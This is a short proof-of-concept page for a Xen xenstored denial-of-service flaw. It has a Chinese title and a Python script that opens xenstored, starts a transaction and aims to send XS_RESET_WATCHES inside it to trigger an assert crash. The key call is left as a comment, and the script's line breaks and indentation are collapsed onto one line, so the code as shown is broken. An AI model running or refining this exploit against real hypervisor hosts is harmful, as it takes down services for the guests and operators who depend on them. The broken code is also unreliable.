CVE-2026-23557 Xen xenstored拒绝服务漏洞

#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-23557 # This script attempts to trigger the xenstored crash. import xs def trigger_poc(): try: # Connect to xenstored handle = xs.open() print("[+] Connected to xenstored") # Start a transaction transaction = handle.transaction_start() print(f"[+] Transaction started: {transaction}") # Issue XS_RESET_WATCHES inside the transaction # Note: Actual implementation depends on python-xs bindings exposing raw commands # This represents the logic described in the advisory print("[+] Sending XS_RESET_WATCHES inside transaction...") # If the bindings allow it, this would be the call: # handle.reset_watches(transaction) # If successful, xenstored should crash due to assert() print("[!] Command sent. Check if xenstored crashed.") handle.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_poc()